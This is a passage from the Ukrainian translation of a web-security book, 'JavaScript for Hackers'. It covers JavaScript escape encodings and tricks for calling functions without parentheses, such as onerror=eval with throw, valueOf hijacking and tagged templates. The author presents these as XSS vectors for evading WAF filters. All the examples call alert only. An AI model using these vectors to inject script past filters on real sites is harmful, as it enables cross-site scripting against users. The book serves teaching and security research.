JavaScript for Hackers: Learn to think like a hacker

Gareth Heyes

Українське Видання

JavaScript для хакерів (Українське Видання)

Навчіться думати як хакер

Gareth Heyes і TranslateAI

Ця книга продається на http://leanpub.com/javascriptforhackers-uk

Ця версія була опублікована 2024-07-11

Твітніть про цю книгу!

Будь ласка, допоможіть Gareth Heyes і TranslateAI розповсюдити інформацію про цю книгу на Twitter!

Рекомендований твіт для цієї книги:

Я щойно купив #javascriptforhackers від @garethheyes

Рекомендований хештег для цієї книги #javascriptforhackers.

Дізнайтеся, що інші люди кажуть про книгу, натиснувши на це посилання, щоб шукати цей хештег на Twitter:

#javascriptforhackers

До моєї сім'ї, бо без них я - ніщо. Я не зміг би цього зробити без любові та підтримки моєї сім'ї.

Зміст

1: Розділ перший - Вступ **1**
1.1: Про автора 1
1.2: Пристрасть 1
1.3: Середовище 2
1.4: Встановіть мету 2
1.5: Фаззинг 2
1.6: Наполегливість і удача 3
1.7: Соціальні мережі 3
1.8: Основи 4
1.9: Підсумок 10

2: Розділ два - JavaScript без дужок **11**
2.1: Виклик функцій без дужок 11
2.2: Виклик функцій з аргументами без дужок 12
2.3: Вирази throw 14
2.4: Теговані шаблони 15
2.5: Символ has instance 19
2.6: Підсумок 20

3: Розділ третій - Фаззинг **21**
3.1: Правда 21
3.2: Тестування JavaScript URL 21
3.3: Фаззинг HTTP URL 23
3.4: Фаззинг HTML 24
3.5: Fuzzing відомих поведінок 26
3.6: Фаззинг екранувань 29
3.7: Підсумок 31

4: Глава четверта - DOM для хакерів **32**
4.1: Де моє вікно? 32
4.2: Область видимості події HTML 34
4.3: DOM-забруднення 35
4.4: Підсумок 42

5: Глава п'ята - Експлойти браузера **43**

5.1: Вступ . . . 43
5.2: Неправильна обробка URL-адрес з перехресним походженням у Firefox . . . 43
5.3: Призначення Safari для імен хостів з перехресним походженням . . . 44
5.4: Повний обхід SOP в Internet Explorer . . . 45
5.5: Частковий витік інформації SOP у Chrome . . . 46
5.6: Повний обхід політики SOP у Safari . . . 48
5.7: Обхід SOP в Opera . . . 49
5.8: Підсумок . . . 50

6: Глава шоста - Забруднення прототипу . . . 52
6.1: Вступ . . . 52
6.2: Забруднення прототипу на стороні клієнта . . . 53
6.3: Серверне забруднення прототипів . . . 58
6.4: Підсумок . . . 65

7: Розділ сьомий - Неалфавітний джаваскріпт . . . 66
7.1: Написання неалфавітного джаваскріпту . . . 66
7.2: Не-алфавітний код без дужок . . . 75
7.3: Шестисимвольна стіна . . . 77
7.4: Нескінченність і далі . . . 77
7.5: Підсумок . . . 78

8: Розділ восьмий - XSS . . . 79
8.1: Закриття скриптів . . . 79
8.2: Коментарі всередині скриптів . . . 79
8.3: HTML-сутності всередині SVG-скриптів . . . 80
8.4: Скрипт без закриття скрипту . . . 80
8.5: Корисне навантаження для імені вікна . . . 80
8.6: Протокол, що призначається . . . 81
8.7: Мапи джерел для створення зворотних посилань . . . 82
8.8: Новий механізм перенаправлення . . . 82
8.9: Коментарі в JavaScript . . . 82
8.10: Нові рядки . . . 83
8.11: Пробіл . . . 83
8.12: Динамічні імпорти . . . 84
8.13: Простір імен XHTML у XML . . . 84
8.14: Завантаження SVG . . . 85
8.15: Використання елементів SVG . . . 85
8.16: HTML-символи . . . 86
8.17: Події . . . 88
8.18: XSS у прихованих ввідних полях . . . 91
8.19: Спливаючі вікна . . . 92
8.20: Підсумок . . . 93

9: Подяки 95

1: Розділ перший - Вступ

1.1: Про автора

Дослідник PortSwigger Гарет Хейс, мабуть, найбільш відомий своєю роботою з обходу JavaScript-пісочниць і створенням надзвичайно елегантних XSS-векторів. Коли він не є співавтором книг (як нещодавно виданої Web Application Obfuscation[1]), Гарет є батьком двох чудових дівчаток і чоловіком дивовижної дружини, а також пристрасним фанатом Liverpool FC.

У своєму повсякденному житті в PortSwigger Гарет часто створює нові XSS-вектори, досліджує нові методи атаки веб-додатків і готується до виступів на конференціях по всьому світу, таких як його презентація "XSS Magic Tricks" на OWASP Allstars Amsterdam, 2019[2]. Він також є автором XSS Cheat Sheet[3] від PortSwigger. У вільний час він любить писати нові BApp-розширення, є творцем Hackvertor[4] і Taborator[5]. Коли він не займається хакерством, Гарет може бути знайдений, граючись з 3D CSS, створюючи ігри та кімнати в чистому CSS і HTML без JavaScript. Якщо вам це подобається, подивіться його веб-сайт https://garethheyes.co.uk/.

1.2: Пристрасть

JavaScript завжди був моєю пристрастю, мене захоплюють способи, які допомагають краще зрозуміти JS. Ви часто можете бачити, як я твітую про способи виклику функцій без дужок, неймовірні XSS-вектори і загальні способи глибшого розуміння певної функції. Мене часто запитують, як твіт може бути використаний для обходу WAF або браузерної експлуатації. Для мене це не важливо, звичайно, ви могли б використовувати способи виклику функцій JavaScript без дужок для обходу WAF, але суть моїх твітів часто полягає в тому, щоб швидко отримати знання, які можна застосувати пізніше.

Одним з таких прикладів є [].sort, sort приймає функцію, і я знайшов, що можна зловживати цим, щоб непрямо викликати функцію alert, про що я розповім пізніше. Що я намагаюся зробити, так це "зламати" свій мозок, щоб ці вектори стали досить важливими для мене, щоб їх запам'ятати, ви побачите, як я публікую варіанти певної техніки, і це, безумовно, допомагає, що я отримую задоволення від знаходження цих технік. Як часто ви знаходили себе, читаючи книгу або статтю, але вона не запам'ятовується? Шукаючи способи зламати

[1] https://www.amazon.co.uk/Web-Application-Obfuscation-Evasion-Filters-ebook/dp/B004QOAFHE/
[2] https://ams.globalappsec.org/program/allstars
[3] https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
[4] https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100
[5] https://portswigger.net/bappstore/c9c37e424a744aa08866652f63ee9e0f

JavaScript, ви вивчаєте функцію, а потім застосовуєте ці знання для досягнення мети, не важливо, яка це мета, головне, що у вас є ціль, це допоможе вам запам'ятати.

Ці види технік можуть бути застосовані до будь-чого, насправді, це досить очевидно, якщо поглянути на спорт як приклад, ви не покращитеся в чомусь, просто читаючи про це, ви повинні застосовувати ці знання і практикуватися, тренуючись, виконуючи сам спорт. Хакерство JS дуже схоже на це, у вашій щоденній роботі ви не будете використовувати всі функції JS, але якщо ви спробуєте зламати його, ви можете вибрати функцію для вивчення. Це насправді моя філософія і саме про це йдеться в цій книзі. Я спробую навчити вас, як слідувати їй і швидко вчитися, насолоджуючись тим, що ви робите.

1.3: Середовище

Для того, щоб слідувати цьому процесу, вам потрібне швидке середовище для проведення тестів. Це означає, що вам потрібне щось, де ви можете виконувати свій код і миттєво отримувати результати. Це може бути безліч речей: консоль браузера, локальний веб-сервер або веб-додаток, такий як JS Fiddle. Особисто я вирішив написати свій власний веб-додаток під назвою "Hackvertor", надавши йому можливість оцінювати код, інспектувати об'єкти, писати HTML, але інші варіанти теж підходять. Я просто хотів більше можливостей і впевненості, що мій ввід не записується десь. Ваше середовище повинне, принаймні, мати можливість оцінювати JavaScript і повертати результати.

1.4: Встановіть мету

Після того, як ви налаштували обране середовище, наступний крок - встановити мету. Якщо у вас немає мети, ви можете дивитися на порожню сторінку, не просуваючись нікуди. Мета дозволяє вам завжди щось пробувати, і вона може бути досить гнучкою. Наприклад, однією з моїх цілей було "виконувати JavaScript без дужок". Якщо ви встановили хорошу мету, вона майже ніколи не закінчиться, і хороші цілі також перетворюються на інші цілі, наприклад, мета, яку я згадав раніше, перетворилася на "виконувати функції JavaScript без дужок і передавати аргументи". Тепер ви можете побачити, як ці дві цілі корисні, оскільки тепер у вас є чітке уявлення про те, що ви повинні зробити, і ви можете зловживати функціями JavaScript для досягнення цієї мети. У наведеному вище прикладі друга мета складніша за першу, але друга мета дозволяє отримати знання для досягнення більш складної мети.

1.5: Фаззинг

Фаззинг є одним з найважливіших інструментів у арсеналі JavaScript хакера, він дозволяє швидко отримувати відповіді на запитання та відкривати нові речі, змушуючи комп'ютер повідомляти результати. Фаззинг - це просто написання коду, який перераховує символи,

коди або дані для виявлення цікавих поведінок. У випадку бінарної експлуатації ви використовували б фаззер для виявлення DoS або вразливого збою, але при JavaScript хакингу ідея полягає в досягненні вашої мети шляхом отримання відповідей на запитання. Наприклад, я поставив собі за мету зрозуміти, які символи дозволені як прогалини, можливо, ви задумуєтесь, чому просто не подивитися специфікацію? Ви не повинні використовувати специфікацію як єдине джерело інформації при спробі виявити поведінку браузера, тому що іноді браузери не дотримуються специфікації, це може бути через помилку або з різних причин, таких як зворотна сумісність.

Використання фаззингу є важливим інструментом для знаходження цих цікавих крайніх випадків. Ви можете запитати, чому ці крайні випадки важливі, у прикладі з прогалинами я писав парсер JavaScript і пісочницю, і прогалини виявилися доволі значними при спробі розібрати JavaScript, що могло призвести до обходу пісочниці. Забезпечивши правильну обробку прогалин відповідно до того, як це робить браузер, я міг забезпечити більшу безпеку своєї пісочниці. Пізніше в книзі я покажу вам, як використовувати фаззинг для отримання відповідей на запитання та виявлення цікавих поведінок.

1.6: Наполегливість і удача

JavaScript хакинг дуже схожий на дослідження веб-безпеки в тому сенсі, що це вимагає багато наполегливості і удачі для знаходження цікавих поведінок. Звичайно, знання важливі, але наполегливість дозволяє вам розширювати свої знання та мати удачу. Якщо ви тільки починаєте вивчати JavaScript і не маєте багато знань, слідування принципам цієї книги може допомогти вам швидко отримати знання за умови, що у вас є багато наполегливості. Якщо ви дивитесь на порожній екран без ідей, що робити, спробуйте нову мету або спростіть свою мету, щоб продовжувати рухатися. Не бійтеся пробувати речі, які, на вашу думку, можуть не спрацювати, і якщо ви будете наполегливі, ваш час не буде витрачено даремно, бо ви навчитесь маленьким речам на шляху до знаходження цікавих речей. Пам'ятайте, наполегливість не означає постійно займатися тим самим, ви можете повернутися до чогось через місяці і спробувати різні техніки.

1.7: Соціальні мережі

Я багато використовую Твіттер, коли займаюсь JavaScript хакингом. Це корисно, тому що ви можете отримати миттєвий зворотній зв'язок щодо вашої техніки як позитивний, так і негативний. Зі збільшенням кількості підписників ви знайдете інших людей, яким подобається те саме, і вони можуть вказати на варіант чи те, що ви пропустили. Це чудово, бо ви не тільки вчитесь, але й усі, хто бачить цю розмову, також вчаться. Уявіть, якби всі дотримувались цього підходу, усі б навчалися швидше, і ми б знайшли дуже цікаві поведінки в JavaScript. Коли я щось твічу, це також запам'ятовується, і якщо я забуду, я завжди можу знайти це в Твіттері або завантажити свої твіти для знаходження конкретної

техніки. Однак важливо, що Твіттер не підходить для довготривалого зберігання даних, якщо ви знайшли щось, чим особливо пишаєтесь, краще написати блог-пост і потім твітувати посилання на нього.

1.8: Основи

У цьому розділі я розгляну основи JavaScript хакингу, щоб надати вам фундамент для роботи з іншими розділами. Якщо ви досвідчений розробник або хакер JavaScript, будь ласка, пропустіть цей розділ. Якщо ви хочете дізнатися більше про JavaScript, будь ласка, залишайтесь зі мною. JavaScript підтримує різні типи кодування, у вас є шістнадцяткове, вісімкове і два види кодування unicode.

1.8.1: Шістнадцятковий

Спочатку ми розглянемо шістнадцяткове кодування, воно працює тільки в межах рядків, якщо ви спробуєте використовувати їх як ідентифікатори, вони не спрацюють. Шістнадцяткове кодування використовує основу 16, і екранування передує “x”. Ось кілька прикладів:

Рисунок 1. Шістнадцяткове в JavaScript

```
'\x61'//a
"\x61"//a
`\x61`//a

function a(){}
\x61()//fails
```

У наведених вище прикладах ви можете побачити, що перші три працюють правильно всередині рядків, але останній приклад не викликає функцію, оскільки шістнадцяткові екранування там не дозволені. Ще один цікавий аспект полягає в тому, що шістнадцяткові екранування повинні використовувати малу літеру “x”, якщо ви використовуєте велику літеру “X”, то це не буде розглядатися як шістнадцяткове екранування, і двигун JavaScript просто обробить рядок як літеру “X”, за якою слідують вказані вами символи.

1.8.2: Unicode

Унікодні екранування також працюють у рядках, але також дозволені у ідентифікаторах. Існує дві форми унікодних екранувань “\u” та \u{}. Перша дозволяє створити символ у діапазоні 0x00-FFFF, тоді як друга дозволяє вказати весь діапазон унікодних кодових точок. Ось кілька прикладів унікодних екранувань:

Рисунок 2. Унікодні екранування в JavaScript

```
'\u0061'//a
"\u0061"//a
`\u0061`//a

function a(){}
\u0061()//correctly calls the function
```

Код вище виконається без проблем, кожен рядок допускає юнікод-ескейпи, і функція буде викликана правильно. Декілька важливих моментів про цей формат юнікод-ескейпів: ви повинні вказати чотири шістнадцяткові символи, наприклад, \u61 не дозволено, більшість браузерів викинуть виключення; Були деякі браузери, які дозволяли недійсні юнікод-ескейпи, такі як \u61, але це була помилка браузера. Ви не можете кодувати дужки або інші символи, лише ідентифікатори поза рядками. Далі йде інший тип юнікод-ескейпів, який дозволяє вам вказувати юнікод-кодові точки для всього діапазону юнікоду, вони мають подібні характеристики до стандартних юнікод-ескейпів у тому, що ви можете використовувати їх у рядках та ідентифікаторах, але на відміну від стандартних юнікод-ескейпів, ви не обмежені чотирма шістнадцятковими символами. Щоб використовувати ці юнікод-ескейпи, ви використовуєте \u{} всередині фігурних дужок, де ви вказуєте шістнадцяткову юнікод-кодову точку. Наступні приклади будуть працювати добре з цим типом юнікод-ескейпів:

Рисунок 3. Юнікод-ескейпи стилю ES6 в JavaScript

```
'\u{61}'//a
"\u{000000000061}"//a
`\u{0061}`//a

function a(){}
\u{61}()//correctly calls the function

\u{3134a}=123//unicode character "3134a" is allowed as a variable
```

Як показано в наведеному вище коді, дозволяється необмежена кількість доповнення нулями та виключення нулів. Ви можете вказати символи Unicode з вищими значеннями, як показано в останньому прикладі. Це основні відмінності між двома способами екранування Unicode.

1.8.3: Восьмеричне екранування

Восьмеричне екранування використовує базу 8 і може бути використане лише в рядках. У восьмеричному екрануванні немає префікса; ви просто використовуєте зворотний слеш, за яким слідує число в базі 8. Якщо ви спробуєте використати число поза межами восьмеричного діапазону, рушій JavaScript просто поверне це число:

Рисунок 4. Дійсне та недійсне восьмеричне екранування

```
'\141'//a
"\8"//number outside the octal range so 8 is returned
```

Вісімкові екранування не дозволені в рядках шаблонів.

1.8.4: Eval та екранування

Тепер, коли ви знаєте про різні види екранування, ви можете використовувати їх з eval або іншими формами eval, такими як setTimeout. Використовуючи їх з цими функціями, вам потрібно подвійно екранувати їх або навіть більше, якщо вони вкладені! Оскільки eval працює зі рядками, він спробує декодувати введені дані, тому, коли JavaScript фактично виконується, двигун бачить декодований рядок, що дозволяє нам порушити деякі з раніше визначених правил. Наприклад, пам'ятайте, що шістнадцяткові екранування можна використовувати тільки з рядками? Ну, якщо ви використовуєте eval, спочатку шістнадцяткове екранування буде декодовано, а потім виконано, що означає, що наступне цілком допустимо:

Рисунок 5. Використання шістнадцяткового екранування з викликом eval

```
eval('\x61=123')//a = 123
```

Ви можете зробити те ж саме з юнікод-ескейпами, але оскільки вони дозволені в ідентифікаторах, ви можете їх двічі кодувати:

Рисунок 6. Використання юнікод-ескейпів з викликом eval

```
eval('\\u0061=123')
//\u0061 = 123
//a = 123
```

Як показує наведений вище приклад, ви можете екранувати зворотну косу риску всередині рядка, що створює unicode-escape, який потім використовується як ідентифікатор. Цей unicode-escape фактично перекладається як a=123. Ви не обмежені лише екрануванням зворотної косої риски; ви можете екранувати будь-яку частину escape при використанні eval і, звичайно, можете змішувати і поєднувати кодування. Це досить важко проілюструвати, не будучи надмірно складним і заплутаним. Тому я продемонструю частинами:

```
eval('\\u0061=123')//unicode escape using "a" assignment
eval('\\u\x30061=123')//hex encode the first zero
eval('\\u\x300\661=123')//octal encode the 6
```

1.8.5: Рядки

Існує три форми рядків: рядки в одинарних лапках, рядки в подвійних лапках і шаблонні рядки. Як згадувалося в розділі про екранування, ви можете використовувати різні типи кодування в усіх типах рядків. Крім того, ви можете використовувати однобуквені послідовності екранування:

Рисунок 7. Односимвольні послідовності екранування

```
'\b'//backspace
'\f'//form feed
'\n'//new line
'\r'//carriage return
'\t'//tab
'\v'//vertical tab
'\0'//null
'\''//single quote
'\"'//double quote
'\\'//backslash
```

Ви також можете екранувати будь-який символ, який не є частиною послідовності екранування, і вони розглядаються як фактичний символ, наприклад:

```
"\H\E\L\L\O"//HELLO
```

Цікаво, що ви можете використовувати бекслаш в кінці рядка, щоб продовжити його на наступний рядок:

```
'I continue \
onto the next line'
```

Ця поведінка також працює з іменами властивостей об’єкта:

Рисунок 8. Використання зворотної косої риски в іменах властивостей

```
let foo = {
    'bar\
    ': "baz"
};
```

Рядки в подвійних і одинарних лапках не підтримують кілька рядків, якщо ви не використовуєте \ для переходу на наступний рядок, однак шаблонні рядки підтримують кілька рядків і поведінку продовження. Це можна довести наступним кодом:

Рисунок 9. Використання зворотньої косої риски в рядкових шаблонах

```
x = `a\
b\
c`;
x==='abc'//true

x = `a
b
c`;
x==='abc//false
```

Як ви бачите вище, перший фрагмент коду доводить, що поведінка продовження існує в шаблонних рядках, оскільки нові рядки не додаються до рядка. Другий фрагмент показує, що шаблонні рядки підтримують нові рядки, і вони включені в рядок. Шаблонні рядки мають функцію, яка дозволяє виконувати довільні вирази JavaScript у заповнювачах, вони визначаються за допомогою ${}, ваш вираз розміщується всередині фігурних дужок:

Рисунок 10. Використання виразів-заповнювачів у шаблонних рядках

```
`${7*7}`//49
```

На диво, будь-який вираз JavaScript підтримується в межах заповнювачів, включаючи шаблонний рядок! Це означає, що ви можете вкладати шаблонні рядки в інші шаблонні рядки, що призводить до дивного на вигляд JavaScript, який є абсолютно коректним:

Рисунок 11. Вкладені вирази шаблонних рядків!

```
`${`${`${`${7*7}`}`}`}`//49
```

Уявіть, що ви намагаєтеся написати парсер для цього! Я захоплююсь V8, JavaScript Core та Spidermonkey, тому що JavaScript зараз такий складний, що для правильного розбору потрібен хитрий парсинг. Крім того, ви також можете викликати функції, використовуючи так звані шаблони з тегами. Ви просто вказуєте функцію або вираз, який повертає функцію для виклику, і використовуєте зворотні лапки після цього для виклику цієї функції:

Рисунок 12. Шаблон, який викликає alert

```
alert`1337`//calls the alert function with the argument 1337
```

Як згадувалося, це також підтримує вираз, тому знову ж таки, у вас може бути дивний вигляд JavaScript, який викликає кілька функцій. Давайте підвищимо рівень і продемонструємо це. Якщо у вас є функція, яка повертає саму себе, ви можете мати необмежену кількість зворотних апострофів:

Рисунок 13. Рекурсивний тегований шаблон

```
function x(){return x}
x`````````````
```

Здається, що це помилка, але наведене вище виконається в будь-якому JavaScript-двигуні, який підтримує теговані шаблонні рядки. Функція викликається один раз, і оскільки вона повертає саму себе, інший шаблонний рядок дозволений, тому що це функція, і так далі.

1.8.6: Виклики call та apply

Call - це властивість кожної функції, яка дозволяє викликати її і змінювати “значення this” функції в першому аргументі, а будь-які наступні аргументи передаються цій функції. Наприклад:

Рисунок 14. Як використовувати call()

```
function x(){
  console.log(this.bar);//baz
}
let foo={bar:"baz"}
x.call(foo);
```

У наведеному вище прикладі ми використовуємо об’єкт “foo” як значення “this” для функції “x” і передаємо його функції call. Функція “x” використовує this, яке тепер посилається на наш об’єкт foo, і властивість bar повертає “baz”. Коли функція “x” викликається, немає аргументів. Якщо ви хочете передати аргументи до функції, то просто додайте їх до функції call таким чином:

Рисунок 15. Використання call() з null

```
function x() {
    console.log(arguments[0]);//1
    console.log(arguments[1]);//2
    console.log(this);//[object Window]
}
x.call(null, 1, 2)
```

Якщо ви не передасте значення “this” функції call, вона використовуватиме об’єкт window, якщо не в режимі strict, тому що ми використали null в першому аргументі до функції call, “this” за замовчуванням буде об’єктом window, оскільки ми не в режимі strict. Якщо ви використовуєте директиву “use strict”, “this” буде null замість window:

Рисунок 16. Використання call() з null та use strict

```
function x() {
    "use strict";
    console.log(arguments[0]);//1
    console.log(arguments[1]);//2
    console.log(this);//null
}
x.call(null, 1, 2)
```

Функція apply майже повністю аналогічна функції call, з однією важливою відмінністю: ви можете передати масив аргументів як другий аргумент:

Рисунок 17. Використання apply() з null

```
function x() {
    console.log(arguments[0]);//1
    console.log(arguments[1]);//2
    console.log(this);//[object Window]
}
x.apply(null, [1, 2])
```

1.9: Підсумок

У цьому розділі ми мали м'яке введення в основні концепції книги та вивчили різні корисні функції JavaScript, які ми можемо використовувати пізніше для створення цікавих векторів. Ми також дізналися про мій підхід до хакінгу на JavaScript і як застосувати його, щоб допомогти вам навчатися швидше. Далі ми продовжимо нашу подорож у JavaScript і поставимо собі мету на розділ, щоб вивчити деякі нові техніки!

2: Розділ два - JavaScript без дужок

2.1: Виклик функцій без дужок

Однією з моїх улюблених цілей є назва цього розділу, тому що вона має багато глибини. Ви можете створити кілька підцілей з нею, і це допоможе вам швидко зрозуміти особливості JavaScript. Думаю, моя перша спроба виконати JS без дужок була пов'язана з експериментами з методом valueOf. Ви можете використовувати valueOf, коли хочете, щоб певний об'єкт повертав примітивне значення, таке як число. Зазвичай ви використовуєте його з об'єктним літералом, щоб ваш об'єкт взаємодіяв з іншими примітивами, можливо, для виконання додавання або віднімання:

Рисунок 18. Використання valueOf()

```
let obj = {valueOf(){return 1}};
obj+1//2
```

Це цікаво, оскільки valueOf дозволяє визначити функцію, яка викликається, коли об'єкт використовується як примітив. Тож ми можемо просто використовувати функцію alert замість користувацької функції, і вона буде викликатися, так? Ну, це не так просто, давайте спробуємо і подивимося, що станеться:

Рисунок 19. Використання valueOf для виклику alert() викидає виняток

```
let obj = {valueOf:alert};
obj+1//Illegal invocation
```

Ми визначаємо alert як функцію для виклику з valueOf, об'єкт використовується з оператором додавання, який викликає метод valueOf, valueOf призначається функції alert, але при спробі виклику alert рушій JavaScript викине помилку "illegal invocation". Це тому, що функція alert вимагає, щоб "this" був об'єктом window. Коли наша функція alert викликається, об'єкт "this" буде нашим користувацьким об'єктом, який називається obj, і саме тому виникає виняток. Більшість об'єктів у JavaScript успадковуються від прототипу Object, і valueOf фактично визначений у прототипі Object, це означає, що нам не потрібно використовувати користувацький об'єкт; ми можемо використовувати існуючий об'єкт, оскільки практично кожен об'єкт має функціональність valueOf! Ви бачите, до чого це веде? Об'єкт window сам по собі має метод valueOf, і ми можемо його перевизначити:

Рисунок 20. Використання valueOf для виклику alert()

```
window.valueOf=alert;window+1//calls alert()
```

Цього разу виклик alert успішний, і це тому, що ми змінили метод valueOf об'єкта window, і коли викликається valueOf, об'єкт "this" буде window, і помилка незаконного виклику не виникне. Ви могли помітити, що вищенаведене можна скоротити, оскільки немає потреби вказувати "window.", тому що мається на увазі, що використовується об'єкт window, тому ви можете фактично видалити "window.", і valueOf все одно використовуватиме об'єкт window. Я включив це вище для ясності, але це працює на момент написання:

Рисунок 21. Використання valueOf() для виклику alert() без використання window.valueOf

```
valueOf=alert;window+1//calls alert())
```

Ви також можете використовувати toString так само, як і valueOf:

Рисунок 22. Використання toString для виклику alert() без використання window.toString

```
toString=alert;window+''
```

Це чудова область для дослідження, адже можуть існувати інші способи виклику функцій.

2.2: Виклик функцій з аргументами без дужок

Тепер ми можемо трохи розширити нашу мету: замість просто викликати функцію, ми можемо спробувати викликати функцію та передати аргументи без жодних дужок. Якось у мене був момент натхнення під час хакінгу JS, я подумав про обробник виключень і те, як можна надати власну функцію. Якщо ви не знаєте, об'єкт window має глобальний обробник під назвою onerror, коли ви надаєте обробник, ваша функція отримає всі виключення зі сторінки. Цей обробник викликається з повідомленням у першому аргументі, URL у другому, номером рядка у третьому, номером стовпця у четвертому і, нарешті, об'єктом помилки в останньому аргументі. Мене цікавить аргумент повідомлення, тому що якщо ми можемо на нього вплинути, тоді обробник буде викликаний з рядком у першому аргументі. Ви, мабуть, задаєтесь питанням, як викликати обробник з аргументом, який ви обираєте, ми могли б встановити обробник та викликати виключення JavaScript, звичайно! Ви могли б зробити це, згенерувавши якийсь недійсний код, або ви могли б використати оператор throw.

Оператор throw дозволяє створити нове виключення та надати власне повідомлення про помилку, це може бути вираз JavaScript, що буде важливо пізніше. Якщо ви розробник JavaScript, ви, мабуть, знаєте про це, і досить часто можна побачити код, подібний до цього:

Рисунок 23. Код, що показує виклик користувацького виключення

```
throw new Error('Some exception');
```

Як вже згадувалося, оператор throw приймає вираз, і це не обов'язково має бути об'єкт, ви можете кинути рядок, і це буде передано обробнику помилок. Тож, щоб викликати функцію з аргументами, нам потрібно встановити обробник і кинути рядок наступним чином:

Рисунок 24. Зловживання throw та onerror для виклику функцій з аргументами

```
onerror=alert;throw 'foo'
```

Що призводить до того, що в Chrome принаймні з'являється вікно сповіщення з "Uncaught foo". Ви можете подумати, як ми можемо виконувати довільний код? Якщо замінити "alert" на "eval", тоді, коли виникає виключення, воно буде виконуватись як код. Але це залишає нас з неприємним "Uncaught" з пробілом. Щоб обійти це, ми можемо просто вставити знак рівності, щоб "Uncaught" став присвоєнням змінної і, таким чином, дійсним JavaScript:

Рисунок 25. Використання onerror з eval() і throw

```
onerror=eval;
throw"=alert\x281\x29";
```

Одне з важливих зауважень полягає в тому, що оператор throw є оператором, що означає, що його не можна використовувати як вираз, наприклад, ви не можете використати його у виклику функції:

Рисунок 26. Неправильне використання throw

```
alert(throw'test');//This will fail
```

Це означає, що ви повинні знати, де ви це використовуєте, і якщо ви хочете обійти WAF (Web Application Firewall), вам потрібно знати, які символи ви можете використовувати. Давайте поставимо маленьку проміжну мету тут: як ми можемо використовувати оператор throw для виклику довільного JavaScript без використання крапок з комами? JavaScript має блочні оператори; вони не були широко використані, тому що var не мав блочної області видимості, але введення let дозволяє блочну область видимості. Тому, можливо, вони стануть більш популярними. При використанні блочного оператора вам не потрібно включати крапки з комами після блоку, і це легко обходить обмеження крапок з комами:

Рисунок 27. Некоректне використання throw

```
{onerror=eval}throw"=alert\x281337\x29"
```

Інший спосіб обійти обмеження на кількість символів - використовувати автоматичне вставлення крапки з комою (ASI) в JavaScript. Ви можете використовувати нові рядки замість крапок з комою, і JavaScript вставить їх для вас автоматично:

Рисунок 28. Використання нових рядків з throw та обробником onerror

```
onerror=alert
throw 1337
```

JavaScript підтримує роздільники абзаців та рядків для нових рядків, що дуже корисно для обходу WAF, оскільки "onerror=" ймовірно буде заблоковано, але регулярні вирази часто не враховують альтернативні символи. Я використаю eval, щоб показати це, оскільки символи не будуть добре відображатися:

Рисунок 29. Роздільники рядків та абзаців з onerror та throw

```
eval("onerror=\u2028alert\u2029throw 1337");
```

Юнікод втеча \u2029 представляє роздільник абзаців, а \u2028 представляє роздільник рядків. Обидва діють як нові рядки, і де б ви не могли вставити новий рядок, можна використовувати ці символи.

2.3: Вирази throw

Однією цікавою річчю про оператор throw є те, що ви можете використовувати вираз, і його права частина буде передана обробнику винятків. Якщо ви не впевнені, що я маю на увазі, давайте подивимося на оператор коми. Оператор коми оцінює вираз зліва направо і повертає останній операнд. Наприклад, давайте присвоїмо значення "foo" і використаємо оператор коми:

Рисунок 30. Оператор коми

```
let foo = ('bar', 'baz');
```

Значення foo буде, можете здогадатися яке? Baz. Це тому, що оператор коми повертає останню частину виразу. Коли використовується оператор throw, він приймає вираз JavaScript, і тому оператор коми тут цілком підходить. Таким чином, ви можете зловживати цією функціональністю, щоб зменшити кількість символів, які ви використовуєте, і створити деякий несподіваний JavaScript:

Рисунок 31. Оператор коми та throw

```
throw onerror=alert,1337
```

Вищенаведений код використовує оператор throw і призначає обробник onerror, оператор кома потім використовується, і результат виразу "1337" передається обробнику винятків, що призводить до виклику alert з "Uncaught 1337". Будь-яка кількість операндів може бути використана, поки це частина одного виразу, і кінцевий операнд завжди буде переданий обробнику винятків:

Рисунок 32. Оператор кома і throw показують останній вираз

```
throw onerror=alert,1,2,3,4,5,6,7,8,9,10//Uncaught 10
```

Ще однією функцією в JavaScript є необов'язкові змінні винятків у блоці catch. Це дозволяє використовувати блоки try catch без дужок і просто генерувати виняток знову, щоб викликати обробник винятків:

Рисунок 33. Try catch і throw

```
try{throw onerror=alert}catch{throw 1337}
```

2.4: Теговані шаблони

Теговані шаблонні рядки пропонують багато способів виклику функцій без дужок. Як згадувалося в розділі про рядки в першому розділі, ви можете використовувати шаблонні рядки для виклику функцій:

Рисунок 34. Try catch і throw

```
alert`1337`
```

Вищевказані виклики "alert" з "1337", шаблонні рядки також підтримують заповнювачі, які можуть вбудовувати вирази JavaScript. Заповнювачі можна визначити за допомогою ${} і навіть підтримують вкладені шаблонні рядки:

Рисунок 35. Заповнювачі у шаблонних рядках

```
`${alert(1337)}`
`${`${alert(1337)}`}`
```

Коли використовуються мічені шаблонні рядки, масив рядків передається як перший аргумент до функції. Якщо заповнювачів немає, це буде один рядок, однак якщо є заповнювачі, рядки будуть розділені:

Рисунок 36. Заповнювачі розділені

```
alert`foobar`//foobar
alert`foo${1}bar`//foo,bar
```

Ми можемо використовувати цю функціональність для оцінки коду, але при використанні eval код не буде виконаний:

Рисунок 37. Позначені шаблони не оцінюються як рядок

```
eval`alert\x281337\x29`//alert will not be called
```

Чи можете ви здогадатися, чому це так? Це тому, що функція eval просто поверне масив і не перетворить аргумент, надісланий до неї, на рядок. Якщо ви використовуєте альтернативну функцію, таку як setTimeout, яка дійсно перетворює аргумент у рядок, тоді це працюватиме без проблем:

Рисунок 38. Позначені шаблони не оцінюються як рядок

```
setTimeout`alert\x281337\x29`//alert(1337) called
```

Існують додаткові особливості мічених шаблонів: якщо ви використовуєте заповнювач, що оцінюється як рядок, то він не буде доданий до масиву рядків у першому аргументі, але фактично буде використаний як другий аргумент і так далі:

Рисунок 39. Заповнювачі мічених шаблонів як рядки

```
function x(){
  console.log(arguments);//Arguments(4) [Array(4), 'foo', 'bar', 'baz',...
}

x`${'foo'}${'bar'}${'baz'}`
```

Ви можете зловживати цією функціональністю, викликаючи конструктор Function з довільним JavaScript-кодом. Є кілька речей, про які слід знати заздалегідь. Конструктор Function приймає кілька аргументів, але якщо ви надасте один аргумент, він буде використаний як тіло функції; якщо надасте більше одного, останній аргумент буде використаний як тіло функції. Це означає, що ми можемо використовувати масив рядків у першому аргументі, який буде конвертований у рядок і визначає аргумент для створюваної функції, а останній аргумент використовуватиме результат виразу-заповнювача:

Рисунок 40. Заповнювачі тегованих шаблонів як рядки за допомогою конструктора Function

```
